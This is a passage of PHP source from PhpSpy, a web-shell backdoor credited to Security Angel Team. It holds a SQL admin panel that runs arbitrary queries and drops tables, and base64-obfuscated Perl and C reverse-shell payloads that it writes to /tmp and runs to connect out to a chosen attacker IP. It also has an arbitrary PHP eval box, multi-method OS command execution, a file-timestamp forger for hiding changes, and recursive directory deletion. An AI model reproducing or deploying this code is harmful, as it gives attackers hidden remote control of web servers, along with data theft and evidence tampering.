786 }
787 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
788 $tabledb = array();
789 if ($dbname) {
790 p('<p>');
791 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
792 if ($tablename) {
793 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
794 }
795 p('</p>');
796 mysql_select_db($dbname);
797
798 $getnumsql = '';
799 $runquery = 0;
800 if ($sql_query) {
801 $runquery = 1;
802 }
803 $allowedit = 0;
804 if ($tablename && !$sql_query) {
805 $sql_query = "SELECT * FROM $tablename";
806 $getnumsql = $sql_query;
807 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
808 $allowedit = 1;
809 }
810 p('<form action="'.$self.'" method="POST">');
811 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
812 makehide('tablename', $tablename);
813 makehide('action','sqladmin');
814 p($dbform);
815 p('</form>');
816 if ($tablename || ($runquery && $sql_query)) {
817 if ($doing == 'structure') {
818 $result = q("SHOW COLUMNS FROM $tablename");
819 $rowdb = array();
820 while($row = mysql_fetch_array($result)) {
821 $rowdb[] = $row;
822 }
823 p('<table border="0" cellpadding="3" cellspacing="0">');
824 p('<tr class="head">');
825 p('<td>Field</td>');
826 p('<td>Type</td>');
827 p('<td>Null</td>');
828 p('<td>Key</td>');
829 p('<td>Default</td>');
830 p('<td>Extra</td>');
831 p('</tr>');
832 foreach ($rowdb as $row) {
833 $thisbg = bg();
834 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
835 p('<td>'.$row['Field'].'</td>');
836 p('<td>'.$row['Type'].'</td>');
837 p('<td>'.$row['Null'].' </td>');
838 p('<td>'.$row['Key'].' </td>');
839 p('<td>'.$row['Default'].' </td>');
840 p('<td>'.$row['Extra'].' </td>');
841 p('</tr>');
842 }
843 tbfoot();
844 } elseif ($doing == 'insert' || $doing == 'edit') {
845 $result = q('SHOW COLUMNS FROM '.$tablename);
846 while ($row = mysql_fetch_array($result)) {
847 $rowdb[] = $row;
848 }
849 $rs = array();
850 if ($doing == 'insert') {
851 p('<h2>Insert new line in '.$tablename.' table »</h2>');
852 } else {
853 p('<h2>Update record in '.$tablename.' table »</h2>');
854 $where = base64_decode($base64);
855 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
856 $rs = mysql_fetch_array($result);
857 }
858 p('<form method="post" action="'.$self.'">');
859 p($dbform);
860 makehide('action','sqladmin');
861 makehide('tablename',$tablename);
862 p('<table border="0" cellpadding="3" cellspacing="0">');
863 foreach ($rowdb as $row) {
864 if ($rs[$row['Field']]) {
865 $value = htmlspecialchars($rs[$row['Field']]);
866 } else {
867 $value = '';
868 }
869 $thisbg = bg();
870 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
871 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
872 }
873 if ($doing == 'insert') {
874 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
875 } else {
876 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
877 makehide('base64', $base64);
878 }
879 p('</table></form>');
880 } else {
881 $querys = @explode(';',$sql_query);
882 foreach($querys as $num=>$query) {
883 if ($query) {
884 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
885 switch(qy($query))
886 {
887 case 0:
888 p('<h2>Error : '.mysql_error().'</h2>');
889 break;
890 case 1:
891 if (strtolower(substr($query,0,13)) == 'select * from') {
892 $allowedit = 1;
893 }
894 if ($getnumsql) {
895 $tatol = mysql_num_rows(q($getnumsql));
896 $multipage = multi($tatol, $pagenum, $page, $tablename);
897 }
898 if (!$tablename) {
899 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
900 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
901 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
902 $tablename = $matches[1][0];
903 }
904 $result = q($query);
905 p($multipage);
906 p('<table border="0" cellpadding="3" cellspacing="0">');
907 p('<tr class="head">');
908 if ($allowedit) p('<td>Action</td>');
909 $fieldnum = @mysql_num_fields($result);
910 for($i=0;$i<$fieldnum;$i++){
911 $name = @mysql_field_name($result, $i);
912 $type = @mysql_field_type($result, $i);
913 $len = @mysql_field_len($result, $i);
914 p("<td nowrap>$name<br><span>$type($len)</span></td>");
915 }
916 p('</tr>');
917 while($mn = @mysql_fetch_assoc($result)){
918 $thisbg = bg();
919 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
920 $where = $tmp = $b1 = '';
921 foreach($mn as $key=>$inside){
922 if ($inside) {
923 $where .= $tmp.$key."='".addslashes($inside)."'";
924 $tmp = ' AND ';
925 }
926 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
927 }
928 $where = base64_encode($where);
929 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
930 p($b1);
931 p('</tr>');
932 unset($b1);
933 }
934 tbfoot();
935 p($multipage);
936 break;
937 case 2:
938 $ar = mysql_affected_rows();
939 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
940 break;
941 }
942 }
943 }
944 }
945 } else {
946 $query = q("SHOW TABLE STATUS");
947 $table_num = $table_rows = $data_size = 0;
948 $tabledb = array();
949 while($table = mysql_fetch_array($query)) {
950 $data_size = $data_size + $table['Data_length'];
951 $table_rows = $table_rows + $table['Rows'];
952 $table['Data_length'] = sizecount($table['Data_length']);
953 $table_num++;
954 $tabledb[] = $table;
955 }
956 $data_size = sizecount($data_size);
957 unset($table);
958 p('<table border="0" cellpadding="0" cellspacing="0">');
959 p('<form action="'.$self.'" method="POST">');
960 makehide('action','sqladmin');
961 p($dbform);
962 p('<tr class="head">');
963 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
964 p('<td>Name</td>');
965 p('<td>Rows</td>');
966 p('<td>Data_length</td>');
967 p('<td>Create_time</td>');
968 p('<td>Update_time</td>');
969 if ($highver) {
970 p('<td>Engine</td>');
971 p('<td>Collation</td>');
972 }
973 p('</tr>');
974 foreach ($tabledb as $key => $table) {
975 $thisbg = bg();
976 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
977 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
978 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
979 p('<td>'.$table['Rows'].'</td>');
980 p('<td>'.$table['Data_length'].'</td>');
981 p('<td>'.$table['Create_time'].'</td>');
982 p('<td>'.$table['Update_time'].'</td>');
983 if ($highver) {
984 p('<td>'.$table['Engine'].'</td>');
985 p('<td>'.$table['Collation'].'</td>');
986 }
987 p('</tr>');
988 }
989 p('<tr class='.bg().'>');
990 p('<td> </td>');
991 p('<td>Total tables: '.$table_num.'</td>');
992 p('<td>'.$table_rows.'</td>');
993 p('<td>'.$data_size.'</td>');
994 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
995 p('</tr>');
996
997 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
998 makehide('doing','backupmysql');
999 formfoot();
1000 p("</table>");
1001 fr($query);
1002 }
1003 }
1004 }
1005 tbfoot();
1006 @mysql_close();
1007}
1008elseif ($action == 'backconnect') {
1009 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1010 !$yourport && $yourport = '12345';
1011 $usedb = array('perl'=>'perl','c'=>'c');
1012
1013 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1014 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1015 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1016 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1017 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1018 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1019 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1020 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1021 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1022 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1023 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1024 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1025 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1026 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1027 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1028 if ($start && $yourip && $yourport && $use){
1029 if ($use == 'perl') {
1030 cf('/tmp/angel_bc',$back_connect);
1031 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1032 } else {
1033 cf('/tmp/angel_bc.c',$back_connect_c);
1034 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1035 @unlink('/tmp/angel_bc.c');
1036 $res = execute("/tmp/angel_bc $yourip $yourport &");
1037 }
1038 m("Now script try connect to $yourip port $yourport ...");
1039 }
1040 formhead(array('title'=>'Back Connect'));
1041 makehide('action','backconnect');
1042 p('<p>');
1043 p('Your IP:');
1044 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1045 p('Your Port:');
1046 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1047 p('Use:');
1048 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1049 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1050 p('</p>');
1051 formfoot();
1052}
1053elseif ($action == 'eval') {
1054 $phpcode = trim($phpcode);
1055 if($phpcode){
1056 if (!preg_match('#<\?#si', $phpcode)) {
1057 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1058 }
1059 eval("?".">$phpcode<?");
1060 }
1061 formhead(array('title'=>'Eval PHP Code'));
1062 makehide('action','eval');
1063 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1064 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1065 formfooter();
1066}
1067elseif ($action == 'editfile') {
1068 if(file_exists($opfile)) {
1069 $fp=@fopen($opfile,'r');
1070 $contents=@fread($fp, filesize($opfile));
1071 @fclose($fp);
1072 $contents=htmlspecialchars($contents);
1073 }
1074 formhead(array('title'=>'Create / Edit File'));
1075 makehide('action','file');
1076 makehide('dir',$nowpath);
1077 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1078 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1079 formfooter();
1080}
1081elseif ($action == 'newtime') {
1082 $opfilemtime = @filemtime($opfile);
1083 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1084 formhead(array('title'=>'Clone file was last modified time'));
1085 makehide('action','file');
1086 makehide('dir',$nowpath);
1087 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1088 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1089 formfooter();
1090 formhead(array('title'=>'Set last modified'));
1091 makehide('action','file');
1092 makehide('dir',$nowpath);
1093 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1094 p('<p>Instead »');
1095 p('year:');
1096 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1097 p('month:');
1098 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1099 p('day:');
1100 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1101 p('hour:');
1102 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1103 p('minute:');
1104 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1105 p('second:');
1106 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1107 p('</p>');
1108 formfooter();
1109}
1110elseif ($action == 'shell') {
1111 if (IS_WIN && IS_COM) {
1112 if($program && $parameter) {
1113 $shell= new COM('Shell.Application');
1114 $a = $shell->ShellExecute($program,$parameter);
1115 m('Program run has '.(!$a ? 'success' : 'fail'));
1116 }
1117 !$program && $program = 'c:\windows\system32\cmd.exe';
1118 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1119 formhead(array('title'=>'Execute Program'));
1120 makehide('action','shell');
1121 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1122 p('<p>');
1123 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1124 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1125 p('</p>');
1126 formfoot();
1127 }
1128 formhead(array('title'=>'Execute Command'));
1129 makehide('action','shell');
1130 if (IS_WIN && IS_COM) {
1131 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1132 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1133 }
1134 p('<p>');
1135 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1136 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1137 p('</p>');
1138 formfoot();
1139
1140 if ($command) {
1141 p('<hr width="100%" noshade /><pre>');
1142 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1143 $wsh = new COM('WScript.shell');
1144 $exec = $wsh->exec('cmd.exe /c '.$command);
1145 $stdout = $exec->StdOut();
1146 $stroutput = $stdout->ReadAll();
1147 echo $stroutput;
1148 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1149 $descriptorspec = array(
1150 0 => array('pipe', 'r'),
1151 1 => array('pipe', 'w'),
1152 2 => array('pipe', 'w')
1153 );
1154 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1155 if (is_resource($process)) {
1156 fwrite($pipes[0], $command."\r\n");
1157 fwrite($pipes[0], "exit\r\n");
1158 fclose($pipes[0]);
1159 while (!feof($pipes[1])) {
1160 echo fgets($pipes[1], 1024);
1161 }
1162 fclose($pipes[1]);
1163 while (!feof($pipes[2])) {
1164 echo fgets($pipes[2], 1024);
1165 }
1166 fclose($pipes[2]);
1167 proc_close($process);
1168 }
1169 } else {
1170 echo(execute($command));
1171 }
1172 p('</pre>');
1173 }
1174}
1175elseif ($action == 'phpenv') {
1176 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1177 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1178 !$dis_func && $dis_func = 'No';
1179 $info = array(
1180 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1181 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1182 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1183 4 => array('Server OS',PHP_OS),
1184 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1185 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1186 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1187 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1188 9 => array('The file path',__FILE__),
1189
1190 10 => array('PHP Version',PHP_VERSION),
1191 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1192 12 => array('Safe Mode',getcfg('safe_mode')),
1193 13 => array('Administrator',$adminmail),
1194 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1195 15 => array('enable_dl',getcfg('enable_dl')),
1196 16 => array('display_errors',getcfg('display_errors')),
1197 17 => array('register_globals',getcfg('register_globals')),
1198 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1199 19 => array('memory_limit',getcfg('memory_limit')),
1200 20 => array('post_max_size',getcfg('post_max_size')),
1201 21 => array('upload_max_filesize',$upsize),
1202 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1203 23 => array('disable_functions',$dis_func),
1204 );
1205
1206 if($phpvarname) {
1207 m($phpvarname .' : '.getcfg($phpvarname));
1208 }
1209
1210 formhead(array('title'=>'Server environment'));
1211 makehide('action','phpenv');
1212 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1213 formfooter();
1214
1215 $hp = array(0=> 'Server', 1=> 'PHP');
1216 for($a=0;$a<2;$a++) {
1217 p('<h2>'.$hp[$a].' »</h2>');
1218 p('<ul class="info">');
1219 if ($a==0) {
1220 for($i=1;$i<=9;$i++) {
1221 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1222 }
1223 } elseif ($a == 1) {
1224 for($i=10;$i<=23;$i++) {
1225 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1226 }
1227 }
1228 p('</ul>');
1229 }
1230}
1231else {
1232 m('Undefined Action');
1233}
1234
1235?>
1236</td></tr></table>
1237<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1238 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1239 Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
1240</div>
1241</body>
1242</html>
1243
1244<?php
1245function m($msg) {
1246 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1247 echo $msg;
1248 echo '</div>';
1249}
1250function scookie($key, $value, $life = 0, $prefix = 1) {
1251 global $admin, $timestamp, $_SERVER;
1252 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1253 $life = $life ? $life : $admin['cookielife'];
1254 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1255 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1256}
1257function multi($num, $perpage, $curpage, $tablename) {
1258 $multipage = '';
1259 if($num > $perpage) {
1260 $page = 10;
1261 $offset = 5;
1262 $pages = @ceil($num / $perpage);
1263 if($page > $pages) {
1264 $from = 1;
1265 $to = $pages;
1266 } else {
1267 $from = $curpage - $offset;
1268 $to = $curpage + $page - $offset - 1;
1269 if($from < 1) {
1270 $to = $curpage + 1 - $from;
1271 $from = 1;
1272 if(($to - $from) < $page && ($to - $from) < $pages) {
1273 $to = $page;
1274 }
1275 } elseif($to > $pages) {
1276 $from = $curpage - $pages + $to;
1277 $to = $pages;
1278 if(($to - $from) < $page && ($to - $from) < $pages) {
1279 $from = $pages - $page + 1;
1280 }
1281 }
1282 }
1283 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1284 for($i = $from; $i <= $to; $i++) {
1285 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1286 }
1287 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1288 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1289 }
1290 return $multipage;
1291}
1292function loginpage() {
1293?>
1294 <style type="text/css">
1295 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1296 </style>
1297 <form method="POST" action="">
1298 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1299 <input type="hidden" name="doing" value="login">
1300 <input type="submit" value="Login">
1301 </form>
1302<?php
1303 exit;
1304}
1305function execute($cfe) {
1306 $res = '';
1307 if ($cfe) {
1308 if(function_exists('exec')) {
1309 @exec($cfe,$res);
1310 $res = join("\n",$res);
1311 } elseif(function_exists('shell_exec')) {
1312 $res = @shell_exec($cfe);
1313 } elseif(function_exists('system')) {
1314 @ob_start();
1315 @system($cfe);
1316 $res = @ob_get_contents();
1317 @ob_end_clean();
1318 } elseif(function_exists('passthru')) {
1319 @ob_start();
1320 @passthru($cfe);
1321 $res = @ob_get_contents();
1322 @ob_end_clean();
1323 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1324 $res = '';
1325 while(!@feof($f)) {
1326 $res .= @fread($f,1024);
1327 }
1328 @pclose($f);
1329 }
1330 }
1331 return $res;
1332}
1333function which($pr) {
1334 $path = execute("which $pr");
1335 return ($path ? $path : $pr);
1336}
1337
1338function cf($fname,$text){
1339 if($fp=@fopen($fname,'w')) {
1340 @fputs($fp,@base64_decode($text));
1341 @fclose($fp);
1342 }
1343}
1344function debuginfo() {
1345 global $starttime;
1346 $mtime = explode(' ', microtime());
1347 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1348 echo 'Processed in '.$totaltime.' second(s)';
1349}
1350function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1351 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1352 p('<h2>Can not connect to MySQL server</h2>');
1353 exit;
1354 }
1355 if($link && $dbname) {
1356 if (!@mysql_select_db($dbname, $link)) {
1357 p('<h2>Database selected has error</h2>');
1358 exit;
1359 }
1360 }
1361 if($link && mysql_get_server_info() > '4.1') {
1362 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1363 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1364 }
1365 }
1366 return $link;
1367}
1368function s_array(&$array) {
1369 if (is_array($array)) {
1370 foreach ($array as $k => $v) {
1371 $array[$k] = s_array($v);
1372 }
1373 } else if (is_string($array)) {
1374 $array = stripslashes($array);
1375 }
1376 return $array;
1377}
1378function html_clean($content) {
1379 $content = htmlspecialchars($content);
1380 $content = str_replace("\n", "<br />", $content);
1381 $content = str_replace(" ", " ", $content);
1382 $content = str_replace("\t", " ", $content);
1383 return $content;
1384}
1385function getChmod($filepath){
1386 return substr(base_convert(@fileperms($filepath),10,8),-4);
1387}
1388function getPerms($filepath) {
1389 $mode = @fileperms($filepath);
1390 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1391 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1392 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1393 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1394 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1395 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1396 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1397 else {$type = '?';}
1398
1399 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1400 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1401 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1402 $group['read'] = ($mode & 00040) ? 'r' : '-';
1403 $group['write'] = ($mode & 00020) ? 'w' : '-';
1404 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1405 $world['read'] = ($mode & 00004) ? 'r' : '-';
1406 $world['write'] = ($mode & 00002) ? 'w' : '-';
1407 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1408
1409 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1410 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1411 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1412
1413 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1414}
1415function getUser($filepath) {
1416 if (function_exists('posix_getpwuid')) {
1417 $array = @posix_getpwuid(@fileowner($filepath));
1418 if ($array && is_array($array)) {
1419 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1420 }
1421 }
1422 return '';
1423}
1424function deltree($deldir) {
1425 $mydir=@dir($deldir);
1426 while($file=$mydir->read()) {
1427 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1428 @chmod($deldir.'/'.$file,0777);
1429 deltree($deldir.'/'.$file);
1430 }
1431 if (is_file($deldir.'/'.$file)) {
1432 @chmod($deldir.'/'.$file,0777);
1433 @unlink($deldir.'/'.$file);
1434 }
1435 }
1436 $mydir->close();
1437 @chmod($deldir,0777);
1438 return @rmdir($deldir) ? 1 : 0;
1439}
1440function bg() {
1441 global $bgc;
1442 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1443}
1444function getPath($scriptpath, $nowpath) {
1445 if ($nowpath == '.') {
1446 $nowpath = $scriptpath;
1447 }
1448 $nowpath = str_replace('\\', '/', $nowpath);
1449 $nowpath = str_replace('//', '/', $nowpath);
1450 if (substr($nowpath, -1) != '/') {
1451 $nowpath = $nowpath.'/';
1452 }
1453 return $nowpath;
1454}
1455function getUpPath($nowpath) {
1456 $pathdb = explode('/', $nowpath);
1457 $num = count($pathdb);
1458 if ($num > 2) {
1459 unset($pathdb[$num-1],$pathdb[$num-2]);
1460 }
